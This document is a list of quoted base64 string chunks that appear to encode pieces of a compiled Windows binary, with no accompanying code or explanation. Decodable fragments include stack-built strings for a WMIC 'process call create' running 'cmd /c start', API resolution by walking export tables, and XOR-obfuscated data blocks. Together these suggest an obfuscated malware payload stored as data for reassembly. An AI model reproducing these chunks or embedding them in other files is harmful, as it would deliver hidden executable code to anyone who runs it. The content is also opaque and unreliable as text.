pMBAGiTAQB4kwEAnpkBAIyZAQB8mQEAaJkBAFKZAQBGmQE','DyQKFwnQDg8kBqQABAAB0BoHJAAAIAIvQuwBgAAAj03QqgfoAIAAAdByB+gBAAAB0DDvTdRaByQADAADrDoHJAAIAAOsGgckAAQAAakAlQIAAAFsrw3QbLcB/AAB0DCvDdRaByQAAAAHrDoHJAAAAA+sGgckAAAACi8cjfQj30CPBC8c7wQ+EtQAAAFDoJP3//1CJRQzoXQEAAFlZD65dDItFDDPJhMB5A2oQWakAAgAAdAODyQipAAQAAHQDg8kEqQAIAAB0A4PJAqkAEAAAdAODyQGpAAE','uFKOX//4sEhSARAhCJhTzl//85fAE4dByKRAE0iEX0i4U85f//iFX1agIhfAE4jUX0UOtaD77CUOhC3///WYXAdESLhTDl//+LlSzl//8rwgNFEIP4AQ+G2wEAAGoCUo2FNOX//1DoEQwAAIPEDIP4/w+EBQMAAIuFLOX//0D/hUDl///rJmoB/7Us5f//jYU05f//UOjiCwAAg8QMg/j/D4TWAgAAi4Us5f//M8lA/4VA5f//UVFqBYmFLOX//41F9FBqAY2FNOX//1BR/7UQ5f///xXwMAEQiYU85f//hcAPhJUCAABqAI2NOOX//1GLjSTl//9QjUX0UIuFKOX//4sEhSARAhD/NAH/FeAxARCFwA+ETAEAAIu1QOX//4uNROX//wPxi4U85f//OYU45f//D4xJAgAAOb0Y5f//dEuLjSTl//+NhTjl//9qAFBqAY1F9MZF9A1Qi4Uo5f//iwSFIBECEP80Af8V4DEBEIXAD4TtAAAAg7045f//AQ+M9wEAAP+FROX//0aLjTTl///phgAAAID7AXQFgPsCdTMPtwgz0mY7jRTl//+JjTTl//8PlMKDwAKJlTzl//+LlUDl//+DwgKJhSzl//+JlUDl//+A+wF0BYD7AnVLUeiwCgAAWYuNNOX//2Y7wXV1g8YCOb085f//dCJqDVhQiYU05f//6IoKAABZi4005f//ZjvBdU9G/4VE5f//i5VA5f//i4Us5f//O1UQD4Kp/f//6UUBAACLnSjl//9GigKLlSTl//+LDJ0gEQIQiEQKNIsEnSARAhDHRAI4AQAAAOkXAQAA/xWkMQEQi/jpCgEAAIuFKOX//4sMhSARAhCLhSTl///2RAgEgA+EdQMAAIuVMOX//zP/ib005f//hNsPhQ4BAACLXRCJlTjl//+F2w+EjQMAADPJjb306///i8KJjTzl//8rhTDl//87w3NEigpCQIiNH+X//4D5ComVOOX//4uNPOX//3UL/4VE5f//xgcNR0GKlR/l//+IF0eLlTjl//9BiY085f//gfn/EwAAcriLjSTl//+NhfTr//8r+I2FIOX//2oAUFeNhfTr//9Qi4Uo5f//iwSFIBECEP80Af8V4DEBEIXAD4QT////A7Ug5f//Ob0g5f//fBaLlTjl//+LwiuFMOX//zvDD4JB////i7005f//i41E5f//hfYPhfUCAACF/w+ErAIAAGoFWzv7D4WYAgAA6ArX///HAAkAAADoy9b//4kY6cYCAACLyoD7Ag+F6gAAADl1EA+GfAIAAMeFFOX//woAAACDpRjl//8AjZ306///i8FqDSvCi5UY5f//XjtFEHMzD7c5g8ACg8ECZju9FOX//3UQg4VE5f//AmaJM4PDAoPCAmaJO4PCAoPDAoH6/hMAAHLIjYX06///iY085f//i40k5f//K9hqAI2FIOX//1BTjYX06///UIuFKOX//4sEhSARAhD/NAH/FeAxARCLtUDl//+LvTTl//+FwA+E8v3//wO1IOX//4m1QOX//zmdIOX//w+M8f7//4uNPOX//4vBi5Uw5f//K8I7RRAPgi7////p0/7//4tdEImNOOX//4XbD4SKAQAAx4UU5f//CgAAAIOlGOX//wCNhUjl//+LvTjl//8ryouVGOX//zvLczsPtzeDwQKDxwKJvTjl//9mO7UU5f//dRJqDV9miTiDwAKLvTjl//+DwgJmiTCDwgKDwAKB+qgGAABywTP2jY2c8v//VlZoVQ0AAFGNjUjl//8rwZkrwtH4UIvBUFZo6f0AAP8V8DABEIu1QOX//4u9NOX//4mFPOX//4XAD4QA/f//M8mJjUDl//9qACvBjZUg5f//UlCNhZzy//8DwYuNJOX//1CLhSjl//+LBIUgEQIQ/zQB/xXgMQEQhcB0HouNQOX//wONIOX//4uFPOX//4mNQOX//zvBf6/rGv8VpDEBEIuNQOX//4v4i4U85f//ib005f//O8EPj5r9//+LjTjl//+L8YuVMOX//yvyibVA5f//O/MPgsT+///pd/3//2oAjZUg5f//Uv91EP+1MOX///80CP8V4DEBEIXAD4Q9/P//i7Ug5f//M//pR/3//1foUNT//1nrPIuVMOX//4uFKOX//4uNJOX//4sEhSARAhD2RAEEQHQJgDoadQQzwOsc6EDU///HABwAAADoAdT//4MgAIPI/+sEK/GLxluLTfxfM81e6BDY//+L5V3DVYvsg+wsoVCqARAzxYlF/ItFCI1N1FNWi3UMV/91EIlF7ItFFIlF5Og/uv//jUXUM/9QV1dXV1aNRehQjUXwUOjwEAAAi9iDxCCLReSFwHQFi03oiQj/deyNRfBQ6GELAABZWfbDA3UOg/gBdBOD+AJ1EWoE6wz2wwF19/bDAnQDagNfgH3gAHQHi03cg2Fw/YtN/IvHX14zzVvobNf//4vlXcNVi+yD7CihUKoBEDPFiUX8U1aLdQyNTdhX/3UQi30I6KS5//+NRdgz21BTU1NTVo1F6FCNRfBQ6FUQAACJReyNRfBXUOhkBQAAi8iDxCiLReyoA3UOg/kBdBGD+QJ1D2oE6wqoAXX4qAJ0A2oDW4B95AB0B4','kA////QYoEOYtN/ItV+DAEEUGJTfw7TQhyoF9eW4vlXcNVi+yB7AQBAABTVleLPVwSAhCL2moEaAAwAABqC2oA/xVkMQEQi/BolH4BEFb/FbwwARCF9nRQaP8AAACNhf3+///Ghfz+//8AagBQ6IBYAACDxAxW/xXIMQEQUIvWjY38/v//6GH+//9Ti9eNjfz+///oCf///1lZaACAAABqAFb/FcQxARCLx19eW4vlXcNVi+yLRQRdw1WL7IPsMFMzwFZXi/iJReyJReiJffCJReTo2v///4vYuE1aAABmOQN1F4tDPI1IwIH5vwMAAHcJgTwYUEUAAHQDS+vcZKEwAAAAiV3g','amlYamRmiUXAWGplZolFwmaJVbxaam5YanRmiUXGWGovZolFyFhqN2','8lEi1IcSQHaRItaIEkB20SLYiRJAdxFiwSLTYXAdDxJAdhMh8HoO20AAEmHyEw5+HUpSYnNTInBTYn4TIny6DZtAABMielIhcB1EDHSZkGLFExBiwSSSAHY6wcxwEj/yXm0SV9JX','lhmiUW6amRYZolFvGppWGaJRb5qclhmiUXAaiVYZolFwmpcWGaJRcRqc1hmiUXGanlYZolFyGpzWGaJRcpqdFhmiUXMamVYZolFzmptWGaJRdBqM1hmiUXSajJYZolF1GpcWGaJRdZqd1hmiUXYamJYZolF2mplWGaJRdxqbVhmiUXealxYZolF4Gp3WGaJReJqbVhmiUXkamlYZolF5mpjWGaJRegzwGaJRepo/wAAAI2FWP3//1CNRbRQ/xXAMAEQanBYZomFaP///2pyWGaJhWr///9qb1hmiYVs////amNYZomFbv///2plWGaJhXD///9qc1hmiYVy////anNYZomFdP///2ogWGaJhXb///9qY1hmiYV4////amFYZomFev///2psWGaJhXz///9qbFhmiYV+////aiBYZolFgGpjWGaJRYJqclhmiUWEamVYZolFhmphWGaJRYhqdFhmiUWKamVYZolFjGogWGaJRY5qIlhmiUWQamNYZolFkmptWGaJRZRqZFhmiUWWaiBYZolFmGovWGaJRZpqY1hmiUWcaiBYZolFnmpzWGaJRaBqdFhmiUWiamFYZolFpGpyWGaJRaZqdFhmiUWoaiBYZolFqmolWGaJRaxqc1hmiUWuaiJYZolFsDPAZolFsv91CI2FaP///1CNhVj5//9Q/xVwMgEQg8QMaj2NjVj////ouQMAAGo8jY1Y////6PEDAACJRfyLRfzHADwAAACLRfzHQARAAAAA/xWIMgEQi038iUEIanJYZolF7Gp1WGaJRe5qblhmiUXwamFYZolF8mpzWGaJRfQzwGaJRfaLRfyNTeyJSAyLRfyNjVj9//+JSBCLRfyNjVj5//+JSBSLRfyDYBgAi0X8g2AcAItF/INgIACDZfgA/3X8/xVUMgEQhcB0Imr/i0X8/3A4/xWEMQEQi0X8/3A4/xXQMQEQagD/FZQxARCL','GaJReCLRfSJReKJdeaLVeSLdeBmiX3q6xszwGY5RbwPlMBIJQAAAIAFAID/f4lF6Ivzi9P2RRgBi02Mi0W4i30UZokBdDaYA/iJfbiF/38vM8BmiQG4AIAAAGY5RYAPlcD+yCQNBCCIQQIzwECIQQPGQQQwiFkF6awBAACJfbhqFVg7+H4DiUW4i33owe8Qge/+PwAAM8BqCIl9nGaJReqLXehfi8qLxsHoHwPSwekfA9sD9gvZC9CJdeCJXehPdeOLfZyJXbyJVeSJdcBqAFuF/3k399+B5/8AAAB+LYtdvIvK0e6Lw8HhH8HgHwvx0erR6wvQT4ld6Il14IX/f+GJXbwz24lV5Il1wIt1jItFuECJRayNfgSJfZyLz4lNqIXAD47IAAAAjXXgi8qNfcTB6R+lA9KlpYt9wIvHwegfA/8L0ItFvI00AIvHC/HB6B+LygP/A9LB6R8L0AP2i0XEC/GNDDiJTbg7z3IEO8hzG41CAYvLO8JyBYP4AXMDM8lBhcmL0ItNuHQBRotFyI08EDv6cgQ7+HMBRgN1zIvBi1W4i88D0sHoH4lVwIlV4I0UPwvQwekfjQQ2iVXkC8GLTaiJRejB6BgEMIhd64gBQYtFrEiJTaiJRayFwH4Li0XoiUW86T7///+LdYyLfZyKQf+D6QI8NXxF6wmAOTl1CMYBMEk7z3PzO89zBEFm/wb+AYtFjCrIgOkDiEgDD77JiFwBBDPAQItN/F9eM81b6HWa//+L5V3DgDkwdQVJO89z9jvPc8yLTYwzwGaJAbgAgAAAZjlFgA+VwP7IJA0EIIhBAjPAQIhBA8YHMOkC/v//M9tTU1NTU+icnv//zFWL7ItNCD','bQVkB','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AnQNixaJF412BI1/BEh181np+v7//8zMzMzMzMzMzMzMzFWL7FeDPcAFAhABD4L9AAAAi30Id3cPtlUMi8LB4ggL0GYPbtryD3DbAA8W27kPAAAAI8+DyP/T4Cv5M9LzD28PZg/v0mYPdNFmD3TLZg/XyiPIdRhmD9fJI8gP','GBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGBgYGBhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGF','qBXcFYgU+BXIFcgVyBSsFaQVkBXYFdgVkBWkFaQVgBSgFbQVkBXAFdgUrBWoFdwViBT4FcgVyBXIFKwVhBWAFdwVoBWQFawVrBSsFagV3BWIFPgVyBXIFcgUrBWsFYAVwBW0FagVjBSsFagV3BWIFPgVyBXIFcgUrBWoFdgVxBWAFdwVsBWQFYQVgBWkFZgVgBWsFcQV3BWoFKwVrBWAFcQU+BXIFcgVyBSsFZgVkBWsFcQVsBWsFYAV2BXAFdwVmBWoFcAV9BSsFawVgBXEFPgVyBXIFcgUrBWkFZAVmBWoFaAVoBXAFawVgBSsFawVgBXEFPgVyBXIFcgUrBW0FagVxBWAFaQVhBXcFYAVsBXcFagV2BWAFawUrBWsFYAVxBT4FcgVyBXIFKwVtBWoFcQVgBWkFYQV3BWAFbAV3BWoFdgVgBWsFKwVrBWAFcQU+BXIFcgVyBSsFbQVqBXEFYAVpBWEFdwVgBWwFdwVqBXYFYAVrBSsFawVgBXEFPgVyBXIFcgUrBWEFbAV2BWYFbQUrBWgFYAVtBXcFaAVkBXcFbgVgBWsFKwVrBWAFcQU+BXIFcgVyBSsFYgVgBWgFdQVgBXcFaQVgBSsFawVgBXEFPgVyBXIFcgUrBWIFZAV3BWQFYgVgBSgFdgVmBW0FcgV8BWsFKwVoBWAFbQV3BWgFZAV3BW4FYAVrBSsFawVgBXEFPgVyBXIFcgUrBXAFYAVnBWAFdwVpBWQFawVhBSgFYgVkBXcFZAViBWAFKwVoBWAFbQV3BWgFZAV3BW4FYAVrBSsFawVgBXEFPgVyBXIFcgUrBWYFZAVpBWwFdgVxBWoFKwVrBWAFcQU+BXIFcgVyBSsFdwUoBWYFagVsBWMFYwVwBXcFYAUrBWsFYAVxBT4FcgVyBXIFKwVuBXcFYAVkBXEFbAVjBXYFKwVrBWAFcQU+BXIFcgVyBSsFawVgBXEFcQUoBWYFagVsBWMFYwVwBXcFYAUrBWYFbQU+BXIFcgVyBSsFdgVkBWkFagVrBSgFZgVqBWwFYwVjBXAFdwVgBSgFYgVgBWsFYAVzBWAFKwVrBWAFcQU+BXIFcgVyBSsFYwVkBXcFZwVgBWYFbQVxBSsFawVgBXEFPgVyBXIFcgUrBW0FZAVkBXcFZAVxBWAFaQVsBWAFdwUrBWsFYAVxBT4FcgVyBXIFKwVzBWoFawU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YGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYMDoYGBgYGBguOhgYGBgYGF46GBgYGBgYQDoYGBgYGBh2OhgYGBgYGGQ6GBgYGBgYljoYGBgYGBiCOhgYGBgYGLA6GBgYGBgYrDoYGBgYGBjaOhgYGBgYGNY6GBgYGBgYxjoYGBgYGBj2OhgYGBgYGOQ6GBgYGBgYGBgYGBgYGBhUGEgYXRg4GFwYVBhUGCIYOBhMGGoYYRhxGHYYfxg4GGwYdxg4GFcYaBh9GHYYOBhIGHEYaBh9GDgYNRg4GD0YbxhrGBgYGBhUGEgYXRg4GFwYVBhUGCIYOBhMGHkYahh/GH0YbBg4GGgYeRhsGHAYIhg4GD0YbxhrGBgYGR4aGB7KGig5EhwYEvwSGB1sExgICBgYeggYGOQ4GBg5HR4YHUwVGBj8EhgYbBMYCAgYGHoIGBjkOBgYOR0aGB18FBiuCBgYAQkYGAQ5GBg5GBgYrggYGAEJGBgEORgYGQofGAp8BxgKLAYYChkEGBNoGBgZDxsYDywcGBxaGBiwORgYGBgYGBgYGBgKOxgYGDgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGDA6GBgYGBgYLjoYGBgYGBheOhgYGBgYGEA6GBgYGBgYdjoYGBgYGBhkOhgYGBgYGJY6GBgYGBgYgjoYGBgYGBiwOhgYGBgYGKw6GBgYGBgY2joYGBgYGBjWOhgYGBgYGMY6GBgYGBgY9joYGBgYGBjkOhgYGBgYGBgYGBgYGBgYBxldYHFsSGp3e31raxiGGFtqfXlsfVVtbH1gTxgYsBhban15bH1Iand7fWtrTxgYEB1PeXFsXndqS3F2f3R9V3pyfXtsGOMcTnFqbG15dF5qfX0YFx1PeXFsVnl1fXxIcWh9TxgYLB1PanFsfV5xdH0YmhtXaH12SGp3e31raxjbG0p9eXxecXR9GBiXGFtqfXlsfV5xdH1PGHkddGtsanR9dk8YGBAaX31sVHlrbF1qandqGBjgHE5xamxteXRZdHR3exg','BuAC0AbgBvAAAAbgBzAC0AegBhAAAAcABhAC0AaQBuAAAAcABsAC0AcABsAAAAcAB0AC0AYgByAAAAcAB0AC0AcAB0AAAAcQB1AHoALQBiAG8AAAAAAHEAdQB6AC0AZQBjAAAAAABxAHUAegAtAHAAZQAAAAAAcgBvAC0AcgBvAAAAcgB1AC0AcgB1AAAAcwBhAC0AaQBuAAAAcwBlAC0AZgBpAAAAcwBlAC0AbgBvAAAAcwBlAC0AcwBlAAAAcwBrAC0A','uBWAFdgUlBSsFbgVpBWIFJQUrBW4FaQViBSUFKwVuBWsFcQUlBSsFbgVqBWsFJQUrBW4FcgVhBSUFKwVpBWQFcQVgBX0FJQUrBWkFZwVxBSUFKwVpBWwFdgUlBSsFaQVrBXEFJQUrBWkFagViBSUFKwVpBXUFNwUlBSsFaQV2BXEFJQUrBWkFdgVxBSUFKwVpBXEFdwUlBSsFaQVxBX0FJQUrBWkFcAVgBSUFKwVpBXAFYwUlBSsFaQVyBXUFJQUrBWkFfQVjBWgFaQUlBSsFaQV8BXEFJQUrBWkFfAV9BSUFKwVoBWQFawUlBSsFa','j/FWw','aWprbG1ub3BxcnN0dXZ3eHl6e3x9fn8AbQBzAGMAbwByAGUAZQAuAGQAbABsAAAAQ29yRXhpdFByb2Nlc3MAAAUAAMALAAAAAAAAAB0AAMAEAAAAAAAAAJYAAMAEAAAAAAAAAI0AAMAIAAAAAAAAAI4AAMAIAAAAAAAAAI8AAMAIAAAAAAAAAJAAAMAIAAAAAAAAAJEAAMAIAAAAAAAAAJIAAMAIAAAAAAAAAJMAAMAIAAAAAAAAALQCAMAIAAAAAAAAALUCAMAIAAAAAAAAAAwAAACQAAAAAwAAAAkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAgACAAIAAgACAAIAAgACAAKAAoACgAKAAoACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEgAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAhACEAIQAhACEAIQAhACEAIQAhAAQABAAEAAQABAAEAAQAIEAgQCBAIEAgQCBAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAQABAAEAAQABAAEACCAIIAggCCAIIAggACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAEAAQABAAEAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAIAAgACAAIAAgACAAIAAgACgAKAAoACgAKAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABIABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAIQAhACEAIQAhACEAIQAh